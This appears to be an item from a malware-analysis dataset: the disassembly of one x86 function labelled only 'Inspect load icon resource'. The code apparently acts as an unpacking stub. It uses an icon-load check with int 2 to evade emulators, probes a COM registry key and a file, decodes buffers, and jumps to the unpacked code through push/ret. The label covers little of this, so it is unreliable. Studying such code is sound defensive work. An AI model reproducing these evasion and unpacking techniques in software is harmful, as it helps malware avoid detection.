Function at 0x435f30
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov ecx, dword [ebp + 8]
mov dword [0x442998], ecx
mov eax, dword [0x442998]
and eax, 0xffff
je 0x435f5a
mov dword [0x442984], 0
jmp 0x435f64
mov dword [0x442984], 1
cmp dword [0x442998], 0
jne 0x435f77
mov dword [0x442984], 0
push 0x1019
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x435f8a
int 2
mov ecx, 0x49
mov edx, dword [str.softwareclassesjjjerface000c109f_0000_0000_c000_000000000046proxystubclsid]
mov word [edx + 0x22], cx
mov eax, 0x6e
mov ecx, dword [str.softwareclassesjjjerface000c109f_0000_0000_c000_000000000046proxystubclsid]
mov word [ecx + 0x24], ax
mov edx, 0x74
mov eax, dword [str.softwareclassesjjjerface000c109f_0000_0000_c000_000000000046proxystubclsid]
mov word [eax + 0x26], dx
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [0x44299c], ecx
cmp dword [0x442984], 0
jne 0x435fee
push 0x4429a0
mov edx, dword [str.softwareclassesjjjerface000c109f_0000_0000_c000_000000000046proxystubclsid]
push edx
mov eax, dword [0x4422bc]
push eax
call dword [0x44299c]
test eax, eax
je 0x435fee
xor eax, eax
jmp 0x436328
call fcn.00435d60
add eax, 0x51615
mov dword [0x44298c], eax
mov ecx, dword [0x44298c]
push ecx
call fcn.00436330
add esp, 4
mov dword [0x4429a4], eax
mov edx, dword [0x4429a4]
push edx
call fcn.00436350
add esp, 4
mov dword [0x4429a8], eax
mov dword [0x4429a0], 0
mov dword [0x4429ac], 1
mov dword [ebp - 0x20c], 0x4422dc
mov dword [ebp - 0x218], 3
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x210], eax
push 0
push pe_nt_image_headers32
mov ecx, dword [ebp - 0x218]
push ecx
push 0
push 3
push 1
mov edx, dword [ebp - 0x20c]
push edx
call dword [ebp - 0x210]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
je 0x43609b
cmp dword [ebp - 0x214], 0
je 0x43609b
mov eax, 0x42
jmp 0x436328
mov eax, dword [0x4429a4]
mov dword [0x4429b0], eax
mov dword [0x4429b4], 0x23c912
mov ecx, dword [0x4429b4]
sub ecx, 0x23c912
mov dword [0x4429b4], ecx
mov edx, dword [0x4429b4]
mov dword [0x4429b8], edx
mov eax, dword [0x4429b4]
cmp eax, dword [0x4429a4]
jae 0x436160
mov ecx, dword [0x4429b0]
push ecx
mov edx, dword [0x442208]
push edx
call fcn.004363e0
add esp, 8
mov dword [0x4429bc], eax
mov eax, dword [0x4429bc]
push eax
mov ecx, dword [0x44298c]
add ecx, dword [0x4429b8]
push ecx
mov edx, dword [0x4429a8]
add edx, dword [0x4429b4]
push edx
call fcn.00436420
add esp, 0xc
mov eax, dword [0x44220c]
add eax, dword [0x442208]
add eax, dword [0x4429b8]
mov dword [0x4429b8], eax
mov ecx, dword [0x4429b4]
add ecx, dword [0x442208]
mov dword [0x4429b4], ecx
mov edx, dword [0x4429b0]
sub edx, dword [0x4429bc]
mov dword [0x4429b0], edx
jmp 0x4360cd
mov eax, dword [0x4429a4]
push eax
mov ecx, dword [0x4429a8]
push ecx
call fcn.00435e10
add esp, 8
mov dword [0x4429c0], ebp
push 0x5b000
call fcn.00436350
add esp, 4
mov dword [0x4429c4], eax
mov dword [0x4429a0], 0
mov edx, dword [0x4429a0]
mov dword [0x4429b4], edx
mov eax, dword [0x4429a0]
mov dword [0x4429b8], eax
call fcn.00435dd0
mov ecx, dword [0x44298c]
push ecx
call fcn.00436330
add esp, 4
mov dword [0x4429a4], eax
mov edx, dword [0x4429a4]
push edx
call fcn.00436350
add esp, 4
mov dword [0x4429c8], eax
mov eax, dword [0x4429a4]
mov dword [0x4429b0], eax
mov ecx, dword [0x4429b4]
cmp ecx, dword [0x4429a4]
jae 0x436277
mov edx, dword [0x4429b0]
push edx
mov eax, dword [0x442208]
push eax
call fcn.004363e0
add esp, 8
mov dword [0x4429bc], eax
mov ecx, dword [0x4429bc]
push ecx
mov edx, dword [0x44298c]
add edx, dword [0x4429b8]
push edx
mov eax, dword [0x4429c8]
add eax, dword [0x4429b4]
push eax
call fcn.00436420
add esp, 0xc
mov ecx, dword [0x44220c]
add ecx, dword [0x442208]
add ecx, dword [0x4429b8]
mov dword [0x4429b8], ecx
mov edx, dword [0x4429b4]
add edx, dword [0x442208]
mov dword [0x4429b4], edx
mov eax, dword [0x4429b0]
sub eax, dword [0x4429bc]
mov dword [0x4429b0], eax
jmp 0x4361e4
mov ecx, dword [0x4429a4]
push ecx
mov edx, dword [0x4429c8]
push edx
call fcn.00435e10
add esp, 8
mov eax, dword [0x4429a8]
mov ecx, dword [0x4429c8]
mov dword [eax], ecx
mov edx, dword [0x4429a8]
push edx
mov eax, dword [0x4429c4]
add eax, 0x200
push eax
call fcn.00435df0
add esp, 8
call fcn.00435de0
mov dword [0x4429cc], eax
mov ecx, dword [0x4429c4]
sub ecx, dword [0x4429cc]
push ecx
mov edx, dword [0x4429c4]
push edx
mov eax, dword [0x4429c8]
push eax
call fcn.00436380
add esp, 0xc
mov ecx, dword [0x4429c4]
add ecx, 0x287d2
mov dword [0x4429d0], ecx
mov edx, dword [0x4429d0]
sub edx, 2
mov dword [0x4429d0], edx
mov dword [0x442990], 0x436490
mov edx, edx
mov eax, dword [0x442990]
push 0x7b
mov eax, dword [0x442990]
mov ecx, esp
mov edx, edx
mov dword [ecx], 0
add dword [ecx], eax
mov edx, edx
ret
mov esp, ebp
pop ebp
ret